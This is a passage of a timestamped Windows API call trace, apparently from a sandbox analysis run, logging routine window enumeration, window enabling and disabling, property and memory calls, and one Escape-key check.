GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0184.812] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0184.813] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0184.813] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0184.813] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0184.813] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0184.813] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0184.813] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0184.813] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0184.813] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0184.813] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0184.814] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0184.814] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0184.814] IsWindowEnabled (hWnd=0x20360) returned 0 [0184.814] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0184.814] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0184.814] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0184.814] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0184.814] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0184.814] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0184.814] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0184.814] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0184.814] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0184.815] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0184.815] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0184.815] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0184.815] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0184.815] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0184.815] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0184.815] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0184.815] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0184.815] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0184.815] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0184.816] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0184.816] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0184.816] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x76a1960 [0184.816] IMalloc:Free (This=0x7fefecb5380, pv=0x76a1960) [0184.885] GetCurrentThreadId () returned 0xbdc [0184.885] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0184.885] GetDesktopWindow () returned 0x10010 [0184.886] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0184.886] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0184.886] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0184.887] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0184.887] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0184.887] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0184.887] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0184.887] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0184.887] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0184.887] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0184.887] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0184.887] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0184.888] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -2080374784 [0184.888] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0184.888] IsWindowEnabled (hWnd=0x20360) returned 1 [0184.888] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x0 [0184.888] SetPropA (hWnd=0x20360, lpString=0xc121, hData=0x1) returned 1 [0184.888] EnableWindow (hWnd=0x20360, bEnable=0) returned 0 [0184.888] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0184.888] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0184.888] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0184.888] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0184.888] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0184.889] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0184.889] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0184.889] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0184.889] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0184.889] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0184.889] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0184.889] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0184.889] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0184.889] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0184.889] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0184.889] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x10270 [0184.889] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0184.889] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0184.889] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0184.889] GetWindow (hWnd=0x10270, uCmd=0x2) returned 0x30152 [0184.890] GetWindow (hWnd=0x30152, uCmd=0x2) returned 0x3018c [0184.890] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0184.890] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0184.890] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0184.890] GetWindow (hWnd=0x3018c, uCmd=0x2) returned 0x900a0 [0184.890] GetWindow (hWnd=0x900a0, uCmd=0x2) returned 0x10262 [0184.890] GetWindow (hWnd=0x10262, uCmd=0x2) returned 0x10260 [0184.891] GetWindow (hWnd=0x10260, uCmd=0x2) returned 0x202bc [0184.891] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0184.891] GetWindow (hWnd=0x202bc, uCmd=0x2) returned 0x10292 [0184.891] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0184.891] GetWindow (hWnd=0x10292, uCmd=0x2) returned 0x300e6 [0184.891] GetWindow (hWnd=0x300e6, uCmd=0x2) returned 0x300be [0184.891] GetWindow (hWnd=0x300be, uCmd=0x2) returned 0x300e4 [0184.892] GetWindow (hWnd=0x300e4, uCmd=0x2) returned 0x300ca [0184.892] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x300d4 [0184.892] GetWindow (hWnd=0x300d4, uCmd=0x2) returned 0x400b4 [0184.892] GetWindow (hWnd=0x400b4, uCmd=0x2) returned 0x300cc [0184.893] GetWindow (hWnd=0x300cc, uCmd=0x2) returned 0x1025e [0184.893] GetWindow (hWnd=0x1025e, uCmd=0x2) returned 0x1025c [0184.893] GetWindow (hWnd=0x1025c, uCmd=0x2) returned 0x10258 [0184.893] GetWindow (hWnd=0x10258, uCmd=0x2) returned 0x1025a [0184.893] GetWindow (hWnd=0x1025a, uCmd=0x2) returned 0x10254 [0184.894] GetWindow (hWnd=0x10254, uCmd=0x2) returned 0x10256 [0184.894] GetWindow (hWnd=0x10256, uCmd=0x2) returned 0x20250 [0184.894] GetWindow (hWnd=0x20250, uCmd=0x2) returned 0x10252 [0184.894] GetWindow (hWnd=0x10252, uCmd=0x2) returned 0x1024c [0184.894] GetWindow (hWnd=0x1024c, uCmd=0x2) returned 0x1024e [0184.895] GetWindow (hWnd=0x1024e, uCmd=0x2) returned 0x10248 [0184.895] GetWindow (hWnd=0x10248, uCmd=0x2) returned 0x1024a [0184.895] GetWindow (hWnd=0x1024a, uCmd=0x2) returned 0x10244 [0184.895] GetWindow (hWnd=0x10244, uCmd=0x2) returned 0x10246 [0184.896] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x10240 [0184.896] GetWindow (hWnd=0x10240, uCmd=0x2) returned 0x10242 [0184.896] GetWindow (hWnd=0x10242, uCmd=0x2) returned 0x1023c [0184.896] GetWindow (hWnd=0x1023c, uCmd=0x2) returned 0x1023e [0184.896] GetWindow (hWnd=0x1023e, uCmd=0x2) returned 0x10238 [0184.897] GetWindow (hWnd=0x10238, uCmd=0x2) returned 0x1023a [0184.897] GetWindow (hWnd=0x1023a, uCmd=0x2) returned 0x10234 [0184.897] GetWindow (hWnd=0x10234, uCmd=0x2) returned 0x10236 [0184.992] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x10230 [0184.992] GetWindow (hWnd=0x10230, uCmd=0x2) returned 0x10232 [0184.993] GetWindow (hWnd=0x10232, uCmd=0x2) returned 0x1022c [0184.993] GetWindow (hWnd=0x1022c, uCmd=0x2) returned 0x1022e [0184.993] GetWindow (hWnd=0x1022e, uCmd=0x2) returned 0x10228 [0184.993] GetWindow (hWnd=0x10228, uCmd=0x2) returned 0x1022a [0184.994] GetWindow (hWnd=0x1022a, uCmd=0x2) returned 0x10224 [0184.994] GetWindow (hWnd=0x10224, uCmd=0x2) returned 0x10226 [0184.994] GetWindow (hWnd=0x10226, uCmd=0x2) returned 0x10220 [0184.994] GetWindow (hWnd=0x10220, uCmd=0x2) returned 0x10222 [0184.994] GetWindow (hWnd=0x10222, uCmd=0x2) returned 0x1021c [0184.995] GetWindow (hWnd=0x1021c, uCmd=0x2) returned 0x1021e [0184.995] GetWindow (hWnd=0x1021e, uCmd=0x2) returned 0x10218 [0184.995] GetWindow (hWnd=0x10218, uCmd=0x2) returned 0x1021a [0184.995] GetWindow (hWnd=0x1021a, uCmd=0x2) returned 0x10214 [0184.995] GetWindow (hWnd=0x10214, uCmd=0x2) returned 0x10216 [0184.996] GetWindow (hWnd=0x10216, uCmd=0x2) returned 0x10210 [0184.996] GetWindow (hWnd=0x10210, uCmd=0x2) returned 0x10212 [0184.996] GetWindow (hWnd=0x10212, uCmd=0x2) returned 0x1020c [0184.996] GetWindow (hWnd=0x1020c, uCmd=0x2) returned 0x1020e [0184.997] GetWindow (hWnd=0x1020e, uCmd=0x2) returned 0x10208 [0184.997] GetWindow (hWnd=0x10208, uCmd=0x2) returned 0x1020a [0184.997] GetWindow (hWnd=0x1020a, uCmd=0x2) returned 0x10204 [0184.997] GetWindow (hWnd=0x10204, uCmd=0x2) returned 0x10206 [0184.997] GetWindow (hWnd=0x10206, uCmd=0x2) returned 0x10200 [0184.998] GetWindow (hWnd=0x10200, uCmd=0x2) returned 0x10202 [0184.998] GetWindow (hWnd=0x10202, uCmd=0x2) returned 0x101fc [0184.998] GetWindow (hWnd=0x101fc, uCmd=0x2) returned 0x101fe [0184.998] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x101f8 [0184.999] GetWindow (hWnd=0x101f8, uCmd=0x2) returned 0x101fa [0184.999] GetWindow (hWnd=0x101fa, uCmd=0x2) returned 0x101f4 [0184.999] GetWindow (hWnd=0x101f4, uCmd=0x2) returned 0x101f6 [0184.999] GetWindow (hWnd=0x101f6, uCmd=0x2) returned 0x101f0 [0184.999] GetWindow (hWnd=0x101f0, uCmd=0x2) returned 0x101f2 [0185.000] GetWindow (hWnd=0x101f2, uCmd=0x2) returned 0x101ec [0185.000] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ee [0185.000] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101e8 [0185.000] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101ea [0185.000] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e4 [0185.001] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101e6 [0185.001] GetWindow (hWnd=0x101e6, uCmd=0x2) returned 0x101e0 [0185.001] GetWindow (hWnd=0x101e0, uCmd=0x2) returned 0x101e2 [0185.001] GetWindow (hWnd=0x101e2, uCmd=0x2) returned 0x101dc [0185.002] GetWindow (hWnd=0x101dc, uCmd=0x2) returned 0x101de [0185.002] GetWindow (hWnd=0x101de, uCmd=0x2) returned 0x101d8 [0185.002] GetWindow (hWnd=0x101d8, uCmd=0x2) returned 0x101da [0185.002] GetWindow (hWnd=0x101da, uCmd=0x2) returned 0x101d4 [0185.002] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x101d6 [0185.003] GetWindow (hWnd=0x101d6, uCmd=0x2) returned 0x101d0 [0185.003] GetWindow (hWnd=0x101d0, uCmd=0x2) returned 0x101d2 [0185.003] GetWindow (hWnd=0x101d2, uCmd=0x2) returned 0x101cc [0185.003] GetWindow (hWnd=0x101cc, uCmd=0x2) returned 0x101ce [0185.003] GetWindow (hWnd=0x101ce, uCmd=0x2) returned 0x101c8 [0185.004] GetWindow (hWnd=0x101c8, uCmd=0x2) returned 0x101ca [0185.004] GetWindow (hWnd=0x101ca, uCmd=0x2) returned 0x101c4 [0185.004] GetWindow (hWnd=0x101c4, uCmd=0x2) returned 0x101c6 [0185.004] GetWindow (hWnd=0x101c6, uCmd=0x2) returned 0x101c0 [0185.005] GetWindow (hWnd=0x101c0, uCmd=0x2) returned 0x101c2 [0185.005] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x101bc [0185.005] GetWindow (hWnd=0x101bc, uCmd=0x2) returned 0x101be [0185.005] GetWindow (hWnd=0x101be, uCmd=0x2) returned 0x101b8 [0185.005] GetWindow (hWnd=0x101b8, uCmd=0x2) returned 0x101ba [0185.006] GetWindow (hWnd=0x101ba, uCmd=0x2) returned 0x101b4 [0185.006] GetWindow (hWnd=0x101b4, uCmd=0x2) returned 0x101b6 [0185.006] GetWindow (hWnd=0x101b6, uCmd=0x2) returned 0x101b0 [0185.006] GetWindow (hWnd=0x101b0, uCmd=0x2) returned 0x101b2 [0185.006] GetWindow (hWnd=0x101b2, uCmd=0x2) returned 0x101ac [0185.007] GetWindow (hWnd=0x101ac, uCmd=0x2) returned 0x101ae [0185.007] GetWindow (hWnd=0x101ae, uCmd=0x2) returned 0x101a8 [0185.007] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101aa [0185.007] GetWindow (hWnd=0x101aa, uCmd=0x2) returned 0x101a4 [0185.008] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a6 [0185.008] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101a0 [0185.008] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x101a2 [0185.008] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x1019c [0185.009] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019e [0185.009] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x10198 [0185.009] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a [0185.009] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194 [0185.009] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196 [0185.010] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190 [0185.010] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192 [0185.010] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018a [0185.010] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x2018e [0185.011] GetWindow (hWnd=0x2018e, uCmd=0x2) returned 0x10186 [0185.011] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10188 [0185.011] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x10180 [0185.011] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x10184 [0185.011] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x1017c [0185.012] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e [0185.012] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178 [0185.012] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a [0185.012] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174 [0185.012] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176 [0185.013] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x20170 [0185.013] GetWindow (hWnd=0x20170, uCmd=0x2) returned 0x10172 [0185.013] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c [0185.013] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e [0185.014] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10168 [0185.014] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x1016a [0185.014] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x10164 [0185.014] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0185.014] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x10160 [0185.015] GetWindow (hWnd=0x10160, uCmd=0x2) returned 0x10162 [0185.015] GetWindow (hWnd=0x10162, uCmd=0x2) returned 0x300fa [0185.015] GetWindow (hWnd=0x300fa, uCmd=0x2) returned 0x1015e [0185.015] GetWindow (hWnd=0x1015e, uCmd=0x2) returned 0x50102 [0185.016] GetWindow (hWnd=0x50102, uCmd=0x2) returned 0x30108 [0185.016] GetWindow (hWnd=0x30108, uCmd=0x2) returned 0x3015a [0185.016] GetWindow (hWnd=0x3015a, uCmd=0x2) returned 0x10146 [0185.016] GetWindow (hWnd=0x10146, uCmd=0x2) returned 0x10144 [0185.016] GetWindow (hWnd=0x10144, uCmd=0x2) returned 0x2013a [0185.017] GetWindow (hWnd=0x2013a, uCmd=0x2) returned 0x1012e [0185.017] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x10130 [0185.017] GetWindow (hWnd=0x10130, uCmd=0x2) returned 0x10124 [0185.017] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10126 [0185.018] GetWindow (hWnd=0x10126, uCmd=0x2) returned 0x10118 [0185.018] GetWindow (hWnd=0x10118, uCmd=0x2) returned 0x1011a [0185.018] GetWindow (hWnd=0x1011a, uCmd=0x2) returned 0x10116 [0185.018] GetWindow (hWnd=0x10116, uCmd=0x2) returned 0x20018 [0185.019] GetWindow (hWnd=0x20018, uCmd=0x2) returned 0x2001a [0185.019] GetWindow (hWnd=0x2001a, uCmd=0x2) returned 0x2001c [0185.019] GetWindow (hWnd=0x2001c, uCmd=0x2) returned 0x20016 [0185.019] GetWindow (hWnd=0x20016, uCmd=0x2) returned 0x200a2 [0185.019] GetWindow (hWnd=0x200a2, uCmd=0x2) returned 0x1010a [0185.020] GetWindow (hWnd=0x1010a, uCmd=0x2) returned 0x10106 [0185.020] GetWindow (hWnd=0x10106, uCmd=0x2) returned 0x10104 [0185.020] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x10100 [0185.020] GetWindow (hWnd=0x10100, uCmd=0x2) returned 0x100fe [0185.021] GetWindow (hWnd=0x100fe, uCmd=0x2) returned 0x5008e [0185.021] GetWindow (hWnd=0x5008e, uCmd=0x2) returned 0x10084 [0185.021] GetWindow (hWnd=0x10084, uCmd=0x2) returned 0x10082 [0185.021] GetWindow (hWnd=0x10082, uCmd=0x2) returned 0x1007a [0185.021] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10068 [0185.022] GetWindow (hWnd=0x10068, uCmd=0x2) returned 0x20020 [0185.022] GetWindow (hWnd=0x20020, uCmd=0x2) returned 0x20024 [0185.040] GetWindow (hWnd=0x20024, uCmd=0x2) returned 0x10064 [0185.040] GetWindow (hWnd=0x10064, uCmd=0x2) returned 0x10052 [0185.041] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x10054 [0185.041] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x1004c [0185.041] GetWindow (hWnd=0x1004c, uCmd=0x2) returned 0x10044 [0185.041] GetWindow (hWnd=0x10044, uCmd=0x2) returned 0x20040 [0185.042] GetWindow (hWnd=0x20040, uCmd=0x2) returned 0x10042 [0185.042] GetWindow (hWnd=0x10042, uCmd=0x2) returned 0x3003e [0185.042] GetWindow (hWnd=0x3003e, uCmd=0x2) returned 0x2001e [0185.042] GetWindow (hWnd=0x2001e, uCmd=0x2) returned 0x20022 [0185.042] GetWindow (hWnd=0x20022, uCmd=0x2) returned 0x100ec [0185.043] GetWindow (hWnd=0x100ec, uCmd=0x2) returned 0x0 [0185.043] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x4f799f0 [0185.043] IMalloc:Free (This=0x7fefecb5380, pv=0x4f799f0) [0187.864] GetAsyncKeyState (vKey=27) returned 0 [0187.864] GetCurrentThreadId () returned 0xbdc [0187.864] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0187.864] GetDesktopWindow () returned 0x10010 [0187.864] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x400a8 [0187.865] GetWindow (hWnd=0x400a8, uCmd=0x2) returned 0x300b6 [0187.865] GetWindow (hWnd=0x300b6, uCmd=0x2) returned 0x500a4 [0187.865] GetWindow (hWnd=0x500a4, uCmd=0x2) returned 0x1013c [0187.866] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x10136 [0187.866] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x10134 [0187.866] GetWindow (hWnd=0x10134, uCmd=0x2) returned 0x10076 [0187.866] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10074 [0187.866] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10060 [0187.867] GetWindow (hWnd=0x10060, uCmd=0x2) returned 0x1008a [0187.867] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007e [0187.867] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x1007c [0187.867] GetWindow (hWnd=0x1007c, uCmd=0x2) returned 0x10078 [0187.867] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10056 [0187.868] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1004e [0187.868] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10058 [0187.868] GetWindow (hWnd=0x10058, uCmd=0x2) returned 0x10050 [0187.868] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f6 [0187.868] GetWindow (hWnd=0x100f6, uCmd=0x2) returned 0x5009a [0187.869] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0187.869] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x102d4 [0187.869] GetWindowLongA (hWnd=0x102d4, nIndex=-16) returned -1946157056 [0187.869] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0187.869] GetWindowLongPtrA (hWnd=0x102d4, nIndex=-6) returned 0x0 [0187.869] GetWindow (hWnd=0x102d4, uCmd=0x2) returned 0x30154 [0187.869] GetWindowLongA (hWnd=0x30154, nIndex=-16) returned -1946157056 [0187.869] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0187.869] GetWindowLongPtrA (hWnd=0x30154, nIndex=-6) returned 0x13f8c0000 [0187.869] GetWindow (hWnd=0x30154, uCmd=0x2) returned 0x2029c [0187.869] GetWindowLongA (hWnd=0x2029c, nIndex=-16) returned 399441920 [0187.870] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0187.870] GetWindowLongPtrA (hWnd=0x2029c, nIndex=-6) returned 0x13f8c0000 [0187.870] GetWindow (hWnd=0x2029c, uCmd=0x2) returned 0x2038a [0187.870] GetWindowLongA (hWnd=0x2038a, nIndex=-16) returned 399441920 [0187.870] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0187.870] GetWindowLongPtrA (hWnd=0x2038a, nIndex=-6) returned 0x13f8c0000 [0187.870] GetWindow (hWnd=0x2038a, uCmd=0x2) returned 0x140264 [0187.870] GetWindow (hWnd=0x140264, uCmd=0x2) returned 0x400c0 [0187.870] GetWindow (hWnd=0x400c0, uCmd=0x2) returned 0x20360 [0187.870] GetWindowLongA (hWnd=0x20360, nIndex=-16) returned -1946157056 [0187.870] GetWindowLongPtrA (hWnd=0x20360, nIndex=-6) returned 0x7fee5900000 [0187.870] IsWindowEnabled (hWnd=0x20360) returned 0 [0187.871] GetPropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0187.871] RemovePropA (hWnd=0x20360, lpString=0xc121) returned 0x1 [0187.871] EnableWindow (hWnd=0x20360, bEnable=1) returned 1 [0187.871] GetWindow (hWnd=0x20360, uCmd=0x2) returned 0x2030c [0187.871] GetWindowLongA (hWnd=0x2030c, nIndex=-16) returned 1149272145 [0187.871] GetWindow (hWnd=0x2030c, uCmd=0x2) returned 0x10350 [0187.871] GetWindow (hWnd=0x10350, uCmd=0x2) returned 0x202ee [0187.871] GetWindowLongA (hWnd=0x202ee, nIndex=-16) returned 213909504 [0187.871] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0187.871] GetWindowLongPtrA (hWnd=0x202ee, nIndex=-6) returned 0x7feeeb50000 [0187.871] GetWindow (hWnd=0x202ee, uCmd=0x2) returned 0x302c4 [0187.872] GetWindowLongA (hWnd=0x302c4, nIndex=-16) returned -2080374784 [0187.872] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0187.872] GetWindowLongPtrA (hWnd=0x302c4, nIndex=-6) returned 0x7fef1d00000 [0187.872] GetWindow (hWnd=0x302c4, uCmd=0x2) returned 0x302c2 [0187.872] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned -2080374784 [0187.872] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0187.872] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x7fefeae0000 [0187.872] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x10270 [0187.872] GetWindowLongA (hWnd=0x10270, nIndex=-16) returned 131006464 [0187.872] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0187.872] GetWindowLongPtrA (hWnd=0x10270, nIndex=-6) returned 0x13f8c0000 [0187.872] GetWindow (hWnd=0x10270, uCmd=0x2) returned 0x30152 [0187.872] GetWindow (hWnd=0x30152, uCmd=0x2) returned 0x3018c [0187.873] GetWindowLongA (hWnd=0x3018c, nIndex=-16) returned -2080374784 [0187.873] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0187.873] GetWindowLongPtrA (hWnd=0x3018c, nIndex=-6) returned 0x13f8c0000 [0187.873] GetWindow (hWnd=0x3018c, uCmd=0x2) returned 0x900a0 [0187.873] GetWindow (hWnd=0x900a0, uCmd=0x2) returned 0x10262 [0187.873] GetWindow (hWnd=0x10262, uCmd=0x2) returned 0x10260 [0187.873] GetWindow (hWnd=0x10260, uCmd=0x2) returned 0x202bc [0187.873] GetWindowLongA (hWnd=0x202bc, nIndex=-16) returned 1149272145 [0187.874] GetWindow (hWnd=0x202bc, uCmd=0x2) returned 0x10292 [0187.874] GetWindowLongA (hWnd=0x10292, nIndex=-16) returned 1149272145 [0187.874] GetWindow (hWnd=0x10292, uCmd=0x2) returned 0x300e6 [0187.874] GetWindow (hWnd=0x300e6, uCmd=0x2) returned 0x300be [0187.874] GetWindow (hWnd=0x300be, uCmd=0x2) returned 0x300e4 [0187.874] GetWindow (hWnd=0x300e4, uCmd=0x2) returned 0x300ca [0187.875] GetWindow (hWnd=0x300ca, uCmd=0x2) returned 0x300d4 [0187.875] GetWindow (hWnd=0x300d4, uCmd=0x2) returned 0x400b4 [0187.875] GetWindow (hWnd=0x400b4, uCmd=0x2) returned 0x300cc [0187.875] GetWindow (hWnd=0x300cc, uCmd=0x2) returned 0x1025e [0187.875] GetWindow (hWnd=0x1025e, uCmd=0x2) returned 0x1025c [0187.876] GetWindow (hWnd=0x1025c, uCmd=0x2) returned 0x10258 [0187.876] GetWindow (hWnd=0x10258, uCmd=0x2) returned 0x1025a [0187.876] GetWindow (hWnd=0x1025a, uCmd=0x2) returned 0x10254 [0187.876] GetWindow (hWnd=0x10254, uCmd=0x2) returned 0x10256 [0187.876] GetWindow (hWnd=0x10256, uCmd=0x2) returned 0x20250 [0187.877] GetWindow (hWnd=0x20250, uCmd=0x2) returned 0x10252 [0187.877] GetWindow (hWnd=0x10252, uCmd=0x2) returned 0x1024c [0187.877] GetWindow (hWnd=0x1024c, uCmd=0x2) returned 0x1024e [0187.877] GetWindow (hWnd=0x1024e, uCmd=0x2) returned 0x10248 [0187.878] GetWindow 